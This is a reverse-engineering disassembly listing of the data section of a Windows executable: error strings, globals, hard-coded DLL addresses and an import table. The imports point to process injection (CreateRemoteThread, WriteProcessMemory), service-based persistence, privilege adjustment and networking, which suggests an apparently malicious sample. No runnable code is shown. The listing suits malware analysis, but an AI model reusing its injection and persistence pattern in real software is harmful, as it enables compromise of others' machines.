aTerminationReq db 'termination request',0 ; DATA XREF: sub_40BD80:loc_40BE1Ao
; sub_44E0A1:loc_44E13Bo
aInvalidStorage db 'invalid storage access',0 ; DATA XREF: sub_40BD80+91o
; sub_44E0A1+91o
aInterruption db 'interruption',0 ; DATA XREF: sub_40BD80+88o
; sub_44E0A1+88o
aInvalidExecuta db 'invalid executable code',0 ; DATA XREF: sub_40BD80+7Fo
; sub_44E0A1+7Fo
aArithmeticErro db 'arithmetic error',0 ; DATA XREF: sub_40BD80+76o
; sub_44E0A1+76o
aAbort db 'abort',0 ; DATA XREF: sub_40BD80+6Ao
; sub_44E0A1+6Ao
align 4
dword_4101D4 dd 0 ; DATA XREF: sub_40BFA0+23r
; sub_40BFA0+10Fr ...
dword_4101D8 dd 0 ; DATA XREF: sub_40BFA0+29r
; sub_40BFA0+115r ...
align 10h
dword_4101E0 dd 30h ; DATA XREF: sub_40C470+1Eo
; sub_44E791+1Eo
byte_4101E4 db 0 ; DATA XREF: DMN0:004119A4o
; DMN0:004119A8o ...
byte_4101E5 db 2Eh, 2 dup(0) ; DATA XREF: DMN0:off_4119D0o
dd 0
dword_4101EC dd 385h dup(0) ; DATA XREF: sub_407B60+73o
; sub_407B60:loc_407BDFo ...
dword_411000 dd 1 ; DATA XREF: sub_40122A:loc_401237w
; sub_40122A+13r ...
dword_411004 dd 0 ; DATA XREF: sub_403C3F+66r
; sub_403C3F+86w ...
dword_411008 dd 0 ; DATA XREF: sub_40238A+7r
; sub_40238A+43w ...
dword_41100C dd 0 ; DATA XREF: sub_40356A+2Ar
; sub_40356A:loc_4035CDr ...
dword_411010 dd 0 ; DATA XREF: sub_40356A+1Er
; sub_40356A+46r ...
dword_411014 dd 0 ; DATA XREF: sub_40399A+189o
; sub_403C3F+317o ...
dword_411018 dd 0 ; DATA XREF: sub_403604+1r
; sub_403604+1Fw ...
dword_41101C dd 0 ; DATA XREF: DMN0:004036A3r
; DMN0:004036C1w ...
dd 0
dword_411024 dd 0 ; DATA XREF: sub_40356A+58o
; sub_40356A+86o ...
dword_411028 dd 0 ; DATA XREF: sub_40410E+1r
; sub_40410E+1Fw ...
dword_41102C dd 0 ; DATA XREF: sub_404967+22Eo
; sub_404967+2EBo ...
dword_411030 dd 0 ; DATA XREF: sub_40400E+32r
; sub_40400E+9Br ...
byte_411034 db 5Ah ; DATA XREF: sub_4041FB+19r
; sub_44651C+19r
db 3 dup(5Bh)
dd 5B5B5B5Bh, 5B5Bh
dword_411040 dd 0 ; DATA XREF: DMN0:00405BDEw
; DMN1:00447EFFw
dword_411044 dd 2 dup(0) ; DATA XREF: DMN0:00405ACAo
; DMN1:00447DEBo
dword_41104C dd 0 ; DATA XREF: sub_405DB5+Bw
; sub_405DB5+25r ...
dword_411050 dd 0 ; DATA XREF: sub_405FBD+Dr
; sub_405FBD+B9w ...
dword_411054 dd 0 ; DATA XREF: sub_405EB2+Cr
; sub_405EB2+15r ...
dword_411058 dd 0 ; DATA XREF: sub_40643C+Fo
; sub_44875D+Fo
dword_41105C dd 0 ; DATA XREF: sub_4074C0+35r
; sub_4074C0+3Ew ...
dword_411060 dd 0 ; DATA XREF: sub_407AA0+45r
; sub_407AA0+62r ...
dd 4Fh dup(0)
dword_4111A0 dd 50h ; DATA XREF: sub_407AA0:loc_407AD7r
; sub_407AA0+3Fw ...
dword_4111A4 dd 0 ; DATA XREF: sub_407AA0:loc_407AF7r
; sub_407AA0+5Dw ...
dword_4111A8 dd 0 ; DATA XREF: sub_406E30+18Ew
; sub_406E30+1B1r ...
dd 6 dup(0)
dd 0B5FFF8h, 0
dword_4111CC dd 0B5FFFCh ; DATA XREF: sub_4071B0+38r
; sub_407C90+8Br ...
dword_4111D0 dd 0B50004h ; DATA XREF: sub_4071B0+30r
; sub_407C90+C1r ...
dword_4111D4 dd 0B50000h ; DATA XREF: sub_407C90+97r
; sub_407C90:loc_407D34r ...
dword_4111D8 dd 8 ; DATA XREF: sub_406E30+66r
; sub_406E30+10Br ...
dword_4111DC dd 10h ; DATA XREF: sub_406E30+5Dr
; sub_406E30+FEr ...
dword_4111E0 dd 20h ; DATA XREF: sub_406E30:loc_406EA8r
; sub_406E30+121r ...
dword_4111E4 dd 40h ; DATA XREF: sub_406E30+54r
; sub_406E30+F1r ...
dword_4111E8 dd 80h ; DATA XREF: sub_406E30+99r
; sub_406E30+14Ar ...
dword_4111EC dd 100h ; DATA XREF: sub_406E30:loc_406EC0r
; sub_406E30+13Dr ...
dword_4111F0 dd 200h ; DATA XREF: sub_406E30:loc_406EDEr
; sub_406E30+163r ...
dd 400h
dword_4111F8 dd 7 ; DATA XREF: sub_406E30+19Cr
; sub_406E30:loc_406FD6w ...
dword_4111FC dd 7 ; DATA XREF: sub_406E30+361w
; sub_407C90+175w ...
dword_411200 dd 19930520h, 3 dup(0) ; DATA XREF: DMN0:00408642o
; sub_408649+2o ...
off_411210 dd offset dword_41283C ; DATA XREF: sub_408760r
; sub_4087A0:loc_4087A6r ...
off_411214 dd offset dword_412824 ; DATA XREF: sub_408760+Cr
; sub_4087A0+38r ...
off_411218 dd offset dword_41280C ; DATA XREF: sub_408760+18r
; sub_4087A0+44r ...
off_41121C dd offset dword_4127F4 ; DATA XREF: sub_408760+24r
; sub_4087A0+50r ...
dd 5 dup(0)
dword_411234 dd 0 ; DATA XREF: sub_408B20r sub_408B20+9r ...
dword_411238 dd 0 ; DATA XREF: DMN0:00408B50r
; DMN0:00408B59r ...
dd 14h dup(0)
dword_41128C dd 1, 0 ; DATA XREF: DMN0:off_411370o
dd offset byte_4112D4
dd offset byte_4112D5
dd offset byte_4112D4
dd offset byte_4112D4
dd offset byte_4112D4
dd offset byte_4112D4
dd offset dword_4112B4
dd 0
dword_4112B4 dd 8 dup(0) ; DATA XREF: DMN0:004112ACo
byte_4112D4 db 0 ; DATA XREF: DMN0:00411294o
; DMN0:0041129Co ...
byte_4112D5 db 3 dup(0) ; DATA XREF: DMN0:00411298o
dword_4112D8 dd 802h, 1, 411320h, 411321h, 4 dup(411320h), 411300h
; DATA XREF: DMN0:00411374o
dd 0Ah dup(0)
dword_411324 dd 802h, 2, 41123Ch, 41128Ch, 3 dup(41123Ch), 41136Ch
; DATA XREF: sub_40BD80+E5o
; sub_40BD80:loc_40BE77o ...
dd 41134Ch, 0Ah dup(0)
off_411370 dd offset dword_41128C ; DATA XREF: sub_4074A0:loc_4074A3r
; sub_407540:loc_4075ACr ...
dd offset dword_4112D8
dd offset dword_411324
dd 0FDh dup(0)
dword_411770 dd 7 ; DATA XREF: sub_407930+2Ar
; sub_409090+Cw ...
dword_411774 dd 0C0000005h, 0Bh, 0C000001Dh, 4, 0C0000096h, 4, 0C000008Dh
; DATA XREF: sub_409260+7o
; sub_44B581+7o
dd 8, 0C000008Eh, 8, 0C000008Fh, 8, 0C0000090h, 8, 0C0000091h
dd 8, 0C0000092h, 8, 0C0000093h, 8
dword_4117C4 dd 1 ; DATA XREF: sub_409260:loc_4092B2o
; sub_4097D0+82w ...
dword_4117C8 dd 0B5005Ch ; DATA XREF: sub_4097D0+87w
; sub_44BAF1+87w
align 10h
dword_4117D0 dd 392318h ; DATA XREF: sub_409870+55w
; sub_409870+5Ar ...
align 8
dword_4117D8 dd 0B50000h ; DATA XREF: sub_409970+Cr
; sub_409970+2Aw ...
dword_4117DC dd 2000000h ; DATA XREF: sub_407B60+31w
; sub_409970+1Cr ...
dword_4117E0 dd 400h ; DATA XREF: sub_407C90+2Ew
; sub_408260+2Dr ...
dword_4117E4 dd 2Ch dup(0) ; DATA XREF: sub_409120+16o
; sub_4091C0+5Co ...
off_411894 dd offset dword_40FB74 ; DATA XREF: sub_409870+16r
; sub_409870+A2r ...
off_411898 dd offset word_40FB82 ; DATA XREF: sub_4088A0+160r
; sub_4088A0+1BBr ...
dword_41189C dd 0 ; DATA XREF: sub_40AE10+99r
; sub_40AE10:loc_40AEC8w ...
byte_4118A0 db 3 ; DATA XREF: sub_40AF70+2Ar
; sub_40BFA0+14Ar ...
align 4
dd offset word_40FE5E
dd 0Fh dup(0)
dd offset word_40FE5E
dd 0Fh dup(0)
off_411924 dd offset word_40FE5E ; DATA XREF: sub_409A10+20r
; sub_409A10+19Cr ...
dd 0Fh dup(0)
off_411964 dd offset word_40FE5E ; DATA XREF: sub_40BFA0+13Cr
; sub_44E2C1+13Cr
dd 0Fh dup(0)
dd offset byte_4101E4
dd offset byte_4101E4
dd offset byte_4101E4
dd offset byte_4101E4
dd offset byte_4101E4
dd offset byte_4101E4
dd offset byte_4101E4
dd 3 dup(7F7F7F7Fh), 7F7Fh
off_4119D0 dd offset byte_4101E5 ; DATA XREF: sub_40C470+7r
; sub_44E791+7r
dd offset byte_4101E4
dd offset byte_4101E4
dbl_4119DC dq 1.797693134862316e308 ; DATA XREF: sub_40D050+8Ar
; sub_40D050:loc_40D0E7r ...
dd 0
dd 7FF80000h, 0
dd 3C900000h, 0
dd 3E400000h, 0
dd 40320000h, 2 dup(0)
dd 11A84h, 2 dup(0)
dd 122AEh, 11CC4h, 11BE4h, 2 dup(0)
dd 124B2h, 11E24h, 11C48h, 2 dup(0)
dd 1251Ch, 11E88h, 11CA8h, 2 dup(0)
dd 1253Ch, 11EE8h, 11CB0h, 2 dup(0)
dd 12598h, 11EF0h, 5 dup(0)
dd 11F04h, 11F14h, 11F30h, 11F48h, 11F60h, 11F70h, 11F80h
dd 11F96h, 11FA4h, 11FBAh, 11FCAh, 11FDAh, 11FECh, 12000h
dd 1200Eh, 12020h, 12028h, 1203Eh, 1204Eh, 1205Ch, 1206Eh
dd 1207Eh, 1208Ch, 1209Ch, 120B0h, 120BCh, 120D2h, 120ECh
dd 120FAh, 12110h, 1211Ch, 12128h, 12138h, 12144h, 1215Eh
dd 12174h, 12182h, 12192h, 121A4h, 121B4h, 121C4h, 121D8h
dd 121EAh, 121FEh, 12210h, 12226h, 1223Ch, 1224Ah, 1225Eh
dd 1227Ah, 1228Ch, 1229Ch, 125A4h, 125B4h, 125C2h, 125D2h
dd 125E2h, 125F0h, 12602h, 1260Eh, 1261Ch, 1262Ah, 12636h
dd 12644h, 12650h, 1265Ch, 1266Ch, 12684h, 12692h, 1269Eh
dd 126B4h, 126BEh, 126CCh, 126E8h, 12702h, 12710h, 12722h
dd 12734h, 1274Ch, 12766h, 12776h, 12786h, 12792h, 127A2h
dd 127BAh, 127CCh, 127D8h, 0
dd 122BCh, 122CEh, 122E0h, 122EEh, 122FEh, 1230Eh, 1232Eh
dd 1234Ah, 1235Ah, 1236Eh, 12380h, 12390h, 123A6h, 123BCh
dd 123D4h, 123ECh, 123FCh, 1240Eh, 1241Eh, 12432h, 12450h
dd 1246Eh, 12486h, 1249Ah, 0
dd 80000073h, 80000074h, 80000017h, 80000015h, 80000003h
dd 80000012h, 8000000Ch, 80000009h, 80000004h, 80000002h
dd 8000000Dh, 80000001h, 8000000Fh, 80000010h, 80000013h
dd 8000000Ah, 80000034h, 80000006h, 80000039h, 8000000Bh
dd 80000014h, 80000011h, 8000006Fh, 0
dd 12528h, 0
dd 1254Ah, 1255Ah, 1256Eh, 12584h, 0
dword_411CC4 dd 7C80929Ch ; DATA XREF: sub_401001:loc_40100Br
; sub_402562+6r ...
dword_411CC8 dd 7C809EF1h ; DATA XREF: sub_40103C+5r
; sub_401097+5r ...
dword_411CCC dd 7C901005h ; DATA XREF: sub_401048+9r
; sub_401076+5r ...
dword_411CD0 dd 7C9010EDh ; DATA XREF: sub_401048+23r
; sub_401076+1Ar ...
dword_411CD4 dd 7C812F39h ; DATA XREF: DMN0:004010C1r
; sub_409360+1B2r ...
dword_411CD8 dd 7C80A7D4h ; DATA XREF: DMN0:0040117Cr
; DMN1:0044349Dr
dword_411CDC dd 7C80B4CFh ; DATA XREF: sub_402296+18r
; DMN0:00402353r ...
dword_411CE0 dd 7C80998Dh ; DATA XREF: sub_40238A+14r
; sub_40592F+Dr ...
dword_411CE4 dd 7C80945Ch ; DATA XREF: sub_4023DC+1Fr
; sub_4446FD+1Fr
dword_411CE8 dd 7C910331h ; DATA XREF: sub_4023DC+2Br
; sub_403604+2Dr ...
dword_411CEC dd 7C80B905h ; DATA XREF: sub_4023DC+44r
; sub_402449+29r ...
dword_411CF0 dd 7C80B974h ; DATA XREF: sub_4023DC+62r
; sub_402449+47r ...
dword_411CF4 dd 7C80BB76h ; DATA XREF: sub_402449+11r
; sub_4024A6+12r ...
dword_411CF8 dd 7C809B47h ; DATA XREF: sub_402449+51r
; sub_4024A6+5Er ...
dword_411CFC dd 7C80D077h ; DATA XREF: sub_402511+33r
; sub_40544D+33r ...
dword_411D00 dd 7C802442h ; DATA XREF: sub_402562+32r
; sub_40356A+Br ...
dword_411D04 dd 7C80978Eh ; DATA XREF: sub_40356A+5Dr
; sub_40356A+8Br ...
dword_411D08 dd 7C80E93Fh ; DATA XREF: sub_403604+19r
; DMN0:004036BBr ...
dword_411D0C dd 7C80EA1Bh ; DATA XREF: sub_403658+10r
; sub_4036F6+10r ...
dword_411D10 dd 7C802367h ; DATA XREF: sub_403723+DCr
; DMN0:00404D4Dr ...
dword_411D14 dd 7C910340h ; DATA XREF: sub_403838+BDr
; sub_409150+59r ...
dword_411D18 dd 7C831EABh ; DATA XREF: sub_403838+13Br
; sub_40399A+1ACr ...
dword_411D1C dd 7C835DCAh ; DATA XREF: sub_40399A+3Cr
; sub_40399A+93r ...
dword_411D20 dd 7C8608FFh ; DATA XREF: sub_40399A+57r
; sub_40399A+AEr ...
dword_411D24 dd 7C8286EEh ; DATA XREF: sub_40399A+C4r
; sub_4067B0+18Fr ...
dword_411D28 dd 7C812782h ; DATA XREF: sub_40399A+DEr
; sub_405EB2+8Ar ...
dword_411D2C dd 7C8097B6h ; DATA XREF: sub_403C3F+31Cr
; DMN1:0044627Cr
dword_411D30 dd 7C81CDDAh ; DATA XREF: sub_403FEA+10r
; sub_409250+5r ...
dword_411D34 dd 7C802520h ; DATA XREF: sub_40400E+23r
; sub_40592F+E5r ...
dword_411D38 dd 7C80BAA1h ; DATA XREF: sub_4040C3+36r
; sub_405170+B5r ...
dword_411D3C dd 7C810111h ; DATA XREF: sub_404FE9+A7r
; sub_44730A+A7r
dword_411D40 dd 7C8308ADh ; DATA XREF: DMN0:004053CDr
; sub_40592F+51r ...
dword_411D44 dd 7C80A017h ; DATA XREF: DMN0:004053DAr
; sub_405D3F+65r ...
dword_411D48 dd 7C80A05Dh ; DATA XREF: sub_40592F+C7r
; sub_447C50+C7r
dword_411D4C dd 7C81153Ch ; DATA XREF: sub_405CA2+14r
; sub_4067B0+28Dr ...
dword_411D50 dd 7C80A03Bh ; DATA XREF: sub_405D3F+11r
; sub_4064E1+7r ...
dword_411D54 dd 7C80BE89h ; DATA XREF: sub_405EB2+31r
; sub_4481D3+31r
dword_411D58 dd 7C80BC69h ; DATA XREF: sub_405EB2+44r
; sub_4481D3+44r
dword_411D5C dd 7C809FB5h ; DATA XREF: sub_405EB2+5Fr
; sub_4481D3+5Fr
dword_411D60 dd 7C80CC97h ; DATA XREF: sub_405EB2+73r
; sub_4481D3+73r
dword_411D64 dd 7C80DDF5h ; DATA XREF: sub_406101+1Br
; sub_409360+1D3r ...
dword_411D68 dd 7C809A72h ; DATA XREF: sub_40617B+21r
; sub_44849C+21r
dword_411D6C dd 7C80B6A1h ; DATA XREF: sub_40617B+7Ar
; sub_407B60+9Ar ...
dword_411D70 dd 7C80ADA0h ; DATA XREF: sub_40617B+91r
; sub_40617B+A2r ...
dword_411D74 dd 7C80220Fh ; DATA XREF: sub_40617B+E6r
; sub_44849C+E6r
dword_411D78 dd 7C81042Ch ; DATA XREF: sub_40617B+11Dr
; sub_44849C+11Dr
dword_411D7C dd 7C8309E1h ; DATA XREF: sub_4062A5+15r
; sub_4485C6+15r
dword_411D80 dd 7C821435h ; DATA XREF: sub_4062A5+5Cr
; sub_4485C6+5Cr
dword_411D84 dd 7C864B0Fh ; DATA XREF: sub_406D5Cr sub_44907Dr
dword_411D88 dd 7C863DE5h ; DATA XREF: sub_406D62r sub_449083r
dword_411D8C dd 7C863F58h ; DATA XREF: sub_406D68r sub_449089r
dword_411D90 dd 7C812F1Dh ; DATA XREF: sub_4067B0+44r
; sub_4097D0+Br ...
dword_411D94 dd 7C81CF25h ; DATA XREF: sub_4072E0+1Br
; DMN1:0044961Cr
dword_411D98 dd 7C809BC5h ; DATA XREF: sub_407930+30r
; sub_409090+31r ...
dword_411D9C dd 7C810637h ; DATA XREF: sub_4079D0+38r
; sub_449CF1+38r
dword_411DA0 dd 7C8328F7h ; DATA XREF: sub_4079D0+54r
; sub_449CF1+54r
dword_411DA4 dd 7C80C058h ; DATA XREF: sub_407A60+30r
; sub_449D81+30r
dword_411DA8 dd 7C801EEEh ; DATA XREF: sub_407B60+92r
; sub_409360+5Er ...
dword_411DAC dd 7C937A40h ; DATA XREF: sub_40D4E0r sub_44F801r
dword_411DB0 dd 7C812BB6h ; DATA XREF: sub_408670+9r
; sub_44A991+9r
dword_411DB4 dd 7C810EF8h ; DATA XREF: DMN0:00408696r
; DMN1:0044A9B7r
dword_411DB8 dd 7C9105D4h ; DATA XREF: sub_4086B0+Dr
; sub_44A9D1+Dr
dword_411DBC dd 7C9179FDh ; DATA XREF: DMN0:004086E3r
; DMN1:0044AA04r
dword_411DC0 dd 7C91043Dh ; DATA XREF: sub_4086F0+Dr
; sub_44AA11+Dr
dword_411DC4 dd 7C9109EDh ; DATA XREF: DMN0:0040871Fr
; DMN1:0044AA40r
dword_411DC8 dd 7C85E9BBh ; DATA XREF: DMN0:0040874Dr
; DMN1:0044AA6Er
dword_411DCC dd 7C91188Ah ; DATA XREF: sub_4087A0+12r
; sub_4087A0+32r ...
dword_411DD0 dd 7C801A24h ; DATA XREF: sub_408B20+23r
; DMN0:00408B73r ...
dword_411DD4 dd 7C812D9Fh ; DATA XREF: sub_409090+6r
; sub_44B3B1+6r
dword_411DD8 dd 7C809728h ; DATA XREF: sub_409090+46r
; sub_409150+42r ...
dword_411DDC dd 7C8136D7h ; DATA XREF: DMN0:00409107r
; DMN1:0044B428r
dword_411DE0 dd 7C809740h ; DATA XREF: sub_409150+10r
; sub_4091C0+1Br ...
dword_411DE4 dd 7C862E2Ah ; DATA XREF: sub_409260+5Fr
; sub_44B581+5Fr
dword_411DE8 dd 7C8017E5h ; DATA XREF: sub_409300+5r
; DMN0:0040931Br ...
dword_411DEC dd 7C810E51h ; DATA XREF: sub_409360+130r
; sub_409360+1C6r ...
dword_411DF0 dd 7C80DDFEh ; DATA XREF: sub_409360+1F5r
; sub_44B681+1F5r
dword_411DF4 dd 7C80CC97h ; DATA XREF: sub_409360+24Ar
; sub_44B681+24Ar
dword_411DF8 dd 7C81CF5Bh ; DATA XREF: sub_409870+9r
; sub_44BB91+9r
dword_411DFC dd 7C81DF77h ; DATA XREF: sub_409870+B0r
; sub_44BB91+B0r
dword_411E00 dd 7C809A51h ; DATA XREF: sub_409970+24r
; sub_409970+8Ar ...
dword_411E04 dd 7C80B9D1h ; DATA XREF: sub_409970+3Fr
; sub_44BC91+3Fr
dword_411E08 dd 7C810D87h ; DATA XREF: sub_40A730+F5r
; sub_40A730+15Br ...
dword_411E0C dd 7C81DC03h ; DATA XREF: sub_40AAD0+4Cr
; sub_40AAD0+5Br ...
dword_411E10 dd 7C81B58Bh ; DATA XREF: sub_40AE10+A9r
; sub_44D131+A9r
dword_411E14 dd 7C810B8Eh ; DATA XREF: sub_40BEB0+34r
; sub_44E1D1+34r
dword_411E18 dd 7C80180Eh ; DATA XREF: sub_40C950+C4r
; sub_40C950+249r ...
dword_411E1C dd 7C832044h ; DATA XREF: sub_40CD10+10Cr
; sub_44F031+10Cr
dd 0
dword_411E24 dd 77DDEAF4h ; DATA XREF: sub_402208+21r
; sub_404967+3Dr ...
dword_411E28 dd 77DDEBE7h ; DATA XREF: sub_402208+43r
; sub_404967+210r ...
dword_411E2C dd 77DD6BF0h ; DATA XREF: sub_402208+4Cr
; sub_40225E+2Er ...
dword_411E30 dd 77DD761Bh ; DATA XREF: sub_40225E+15r
; sub_405170+5Cr ...
dword_411E34 dd 77DFC123h ; DATA XREF: sub_40225E+25r
; sub_44457F+25r
dword_411E38 dd 77DD778Eh ; DATA XREF: sub_40238A+1Fr
; sub_40592F+1Br ...
dword_411E3C dd 77DD77B3h ; DATA XREF: sub_40238A+2Cr
; sub_40592F+2Ar ...
dword_411E40 dd 77DFD4C9h ; DATA XREF: sub_4040C3+15r
; sub_4463E4+15r
dword_411E44 dd 77DD7883h ; DATA XREF: sub_404967+5Dr
; sub_405170+92r ...
dword_411E48 dd 77DEADA7h ; DATA XREF: sub_404D77+Br
; sub_404DC1+12r ...
dword_411E4C dd 77DEB88Ch ; DATA XREF: sub_404D77+1Fr
; sub_404DC1+29r ...
dword_411E50 dd 77DE5E4Dh ; DATA XREF: sub_404D77+2Cr
; sub_404D77+37r ...
dword_411E54 dd 77DE5EB8h ; DATA XREF: sub_404DC1+47r
; sub_404F15+80r ...
dword_411E58 dd 77E36CC9h ; DATA XREF: sub_404E32+22r
; sub_447153+22r
dword_411E5C dd 77E36F61h ; DATA XREF: sub_404E32+6Dr
; sub_404FE9+C3r ...
dword_411E60 dd 77DF3238h ; DATA XREF: sub_404F15+9Cr
; sub_447236+9Cr
dword_411E64 dd 77E37071h ; DATA XREF: sub_404FE9+4Dr
; sub_44730A+4Dr
dword_411E68 dd 77E37311h ; DATA XREF: sub_40512B+2Br
; sub_44744C+2Br
dword_411E6C dd 77DEB193h ; DATA XREF: DMN0:00405A59r
; DMN0:00405A6Cr ...
dword_411E70 dd 77DF0953h ; DATA XREF: DMN0:00405AB0r
; DMN1:00447DD1r
dword_411E74 dd 77E37D39h ; DATA XREF: sub_405B88+35r
; sub_447EA9+35r
dword_411E78 dd 77DFD11Bh ; DATA XREF: sub_406101+11r
; sub_448422+11r
dword_411E7C dd 77DD7753h ; DATA XREF: sub_406101+28r
; sub_448422+28r
dword_411E80 dd 77DFC534h ; DATA XREF: sub_406101+5Fr
; sub_448422+5Fr
align 8
dword_411E88 dd 71AB664Dh ; DATA XREF: sub_406D6Er sub_44908Fr
dword_411E8C dd 71AB4428h ; DATA XREF: sub_406D74r sub_449095r
dword_411E90 dd 71AB3B91h ; DATA XREF: sub_406D7Ar sub_44909Br
dword_411E94 dd 71AD2E30h ; DATA XREF: sub_406D80r sub_4490A1r
dword_411E98 dd 71AB9639h ; DATA XREF: sub_406D86r sub_4490A7r
dword_411E9C dd 71AB2DC0h ; DATA XREF: sub_406D8Cr sub_4490ADr
dword_411EA0 dd 71AB4519h ; DATA XREF: sub_406D92r sub_4490B3r
dword_411EA4 dd 71AB2B66h ; DATA XREF: sub_406D98r sub_4490B9r
dword_411EA8 dd 71AB406Ah ; DATA XREF: sub_406D9Er sub_4490BFr
dword_411EAC dd 71AB3E00h ; DATA XREF: sub_406DA4r sub_4490C5r
dword_411EB0 dd 71AB88D3h ; DATA XREF: sub_406DAAr sub_4490CBr
dword_411EB4 dd 71AC1028h ; DATA XREF: sub_406DB0r sub_4490D1r
dword_411EB8 dd 71AB2B66h ; DATA XREF: sub_406DB6r sub_4490D7r
dword_411EBC dd 71AD2E70h ; DATA XREF: sub_406DBCr sub_4490DDr
dword_411EC0 dd 71AB428Ah ; DATA XREF: sub_406DC2r sub_4490E3r
dword_411EC4 dd 71AB2BF4h ; DATA XREF: sub_406DC8r sub_4490E9r
dword_411EC8 dd 71AB4FD4h ; DATA XREF: sub_406DCEr sub_4490EFr
dword_411ECC dd 71AB951Eh ; DATA XREF: sub_406DD4r sub_4490F5r
dword_411ED0 dd 71AB50C8h ; DATA XREF: sub_406DDAr sub_4490FBr
dword_411ED4 dd 71AB3F41h ; DATA XREF: sub_406DE0r sub_449101r
dword_411ED8 dd 71AB2C69h ; DATA XREF: sub_406DE6r sub_449107r
dword_411EDC dd 71AD3005h ; DATA XREF: sub_406DECr sub_44910Dr
dword_411EE0 dd 71AB94DCh ; DATA XREF: sub_406DF2r sub_449113r
align 8
dword_411EE8 dd 76D6AAC7h ; DATA XREF: sub_406DF8r sub_449119r
align 10h
dword_411EF0 dd 42C2C8A1h ; DATA XREF: sub_403838+19r
; sub_445B59+19r
dword_411EF4 dd 42C30BFAh ; DATA XREF: sub_403838+48r
; sub_445B59+48r
dword_411EF8 dd 42C1DAC1h ; DATA XREF: sub_403838+62r
; sub_403838+94r ...
dword_411EFC dd 42C2ABF4h ; DATA XREF: sub_403838+F1r
; sub_445B59+F1r
dd 0
dd 65470000h, 63695474h, 756F436Bh, 746Eh, 6E490000h, 61697469h
dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h
dd 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h
dd 6E6Fh, 654C0000h, 43657661h, 69746972h, 536C6163h, 69746365h
dd 6E6Fh, 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h
dd 636F4C74h, 69546C61h, 656Dh, 65470000h, 646F4D74h, 46656C75h
dd 4E656C69h, 41656D61h, 0
aLocalalloc db 'LocalAlloc',0
align 4
dd 72430000h, 65746165h, 656C6946h, 7070614Dh, 41676E69h
dd 0
aGetlasterror_0 db 'GetLastError',0
align 4
aMapviewoffile db 'MapViewOfFile',0
align 4
aUnmapviewoffil db 'UnmapViewOfFile',0
dd 704F0000h, 69466E65h, 614D656Ch, 6E697070h, 4167h, 6C430000h
dd 4865736Fh, 6C646E61h, 65h, 706D6F43h, 53657261h, 6E697274h
dd 4167h, 6C530000h, 706565h, 6E490000h, 6C726574h, 656B636Fh
dd 63784564h, 676E6168h, 65h, 61657243h, 754D6574h, 41786574h
dd 0
aOpenmutexa db 'OpenMutexA',0
align 4
dd 72430000h, 65746165h, 636F7250h, 41737365h, 0
aSetlasterror db 'SetLastError',0
align 10h
aDeletefilea db 'DeleteFileA',0
dd 65470000h, 6D655474h, 74615070h, 4168h, 65470000h, 6D655474h
dd 6C694670h, 6D614E65h, 4165h, 6F430000h, 69467970h, 41656Ch
dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h
dd 0
aInterlockedexc db 'InterlockedExchangeAdd',0
align 4
dd 78450000h, 72507469h, 7365636Fh, 73h, 74696157h, 53726F46h
dd 6C676E69h, 6A624F65h, 746365h, 736C0000h, 6D637274h
dd 416970h, 736C0000h, 70637274h, 416E79h, 72430000h, 65746165h
dd 6E657645h, 4174h, 65530000h, 65764574h, 746Eh, 61570000h
dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h
dd 0
aGetfileattribu db 'GetFileAttributesA',0
align 4
dd 65520000h, 45746573h, 746E6576h, 0
aFindresourcea db 'FindResourceA',0
align 4
aSizeofresource db 'SizeofResource',0
align 4
dd 6F4C0000h, 65526461h, 72756F73h, 6563h, 6F4C0000h, 65526B63h
dd 72756F73h, 6563h, 65470000h, 72754374h, 746E6572h, 636F7250h
dd 737365h, 69560000h, 61757472h, 6C6C416Ch, 7845636Fh
dd 0
aGetmodulehandl db 'GetModuleHandleA',0
align 10h
aGetprocaddress db 'GetProcAddress',0
align 10h
dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh
dd 0
aCreateremoteth db 'CreateRemoteThread',0
align 4
dd 704F0000h, 72506E65h, 7365636Fh, 73h, 45746547h, 43746978h
dd 5465646Fh, 61657268h, 64h, 61657243h, 6F546574h, 65686C6Fh
dd 3233706Ch, 70616E53h, 746F6873h, 0
aProcess32first db 'Process32First',0
align 4
dd 72500000h, 7365636Fh, 4E323373h, 747865h, 65470000h
dd 6D6F4374h, 646E616Dh, 656E694Ch, 454B0041h, 4C454E52h
dd 642E3233h, 6C6Ch, 65520000h, 65724367h, 4B657461h, 78457965h
dd 41h, 53676552h, 61567465h, 4565756Ch, 4178h, 65520000h
dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
dd 41h, 44676552h, 74656C65h, 79654B65h, 41h, 74696E49h
dd 696C6169h, 6553657Ah, 69727563h, 65447974h, 69726373h
dd 726F7470h, 0
aSetsecuritydes db 'SetSecurityDescriptorDacl',0
align 4
aGetusernamea db 'GetUserNameA',0
align 4
aRegqueryvaluee db 'RegQueryValueExA',0
align 10h
aOpenscmanagera db 'OpenSCManagerA',0
align 10h
dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh
dd 69767265h, 61486563h, 656C646Eh, 0
aQueryservicest db 'QueryServiceStatus',0
align 4
dd 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh
dd 4167h, 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh
dd 413267h, 74530000h, 53747261h, 69767265h, 416563h, 72430000h
dd 65746165h, 76726553h, 41656369h, 0
aDeleteservice db 'DeleteService',0
align 10h
aSetservicest_2 db 'SetServiceStatus',0
align 4
aRegisterserv_0 db 'RegisterServiceCtrlHandlerA',0
dd 74530000h, 53747261h, 69767265h, 74436563h, 69446C72h
dd 74617073h, 72656863h, 41h, 6B6F6F4Ch, 72507075h, 6C697669h
dd 56656765h, 65756C61h, 41h, 6E65704Fh, 636F7250h, 54737365h
dd 6E656B6Fh, 0
aAdjusttokenpri db 'AdjustTokenPrivileges',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
aS_1:
unicode 0, <s>,0
aT:
unicode 0, <t>,0
dd 17h, 15h, 3, 12h, 0Ch, 9, 4, 2, 0Dh, 1, 0Fh, 10h, 13h
dd 0Ah, 34h, 6, 39h, 0Bh, 14h, 11h, 6Fh, 434F5357h, 2E32334Bh
dd 6C6C64h, 65470000h, 46704974h, 6177726Fh, 61546472h
dd 656C62h, 6C687069h, 69706170h, 6C6C642Eh, 0
